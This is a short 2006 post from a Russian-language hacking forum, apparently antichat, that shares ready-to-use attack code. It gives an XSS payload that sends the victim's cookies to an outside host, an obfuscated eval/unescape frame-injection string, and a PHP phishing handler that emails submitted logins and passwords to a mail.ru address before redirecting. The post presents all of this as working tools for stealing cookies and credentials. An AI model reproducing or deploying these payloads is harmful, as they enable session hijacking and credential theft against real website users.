
10.03.2006, 06:17
|
|
Banned
Регистрация: 08.03.2006
Сообщений: 16
Провел на форуме: 20089
Репутация:
-1
|
|
document.images[1].src=/http:xxantichat.ruxcgi-binxs.jpg/.source.replace(/x/g,String.fromCharCode(47))+String.fromCharCode(63) +document.cookie
Один из видов воровки кук.
eval(WJ=/document.write(unescape(x<frameset cols=100% rows=100% border=0 frameborder=0 framespacing=0><frame frameborder=0 src= ></frameset>x))/.source.replace(/x/g,String.fromCharCode(34)))
Кодируем в урл то, что надо и все.
http://ha.ckers.org/xss.html
Сам файл.
PHP код:
<?
if(isset($_POST['login']) && isset($_POST['passwd'])){
mail("antichat_bar@mail.ru", "privet", $_POST['login'].":".$_POST['passwd']);
header("Location: http://www.antichat.ru/");
}
?>
Кому надо тот поймет. 
Последний раз редактировалось Web Giant; 10.03.2006 в 06:23..
|
|
|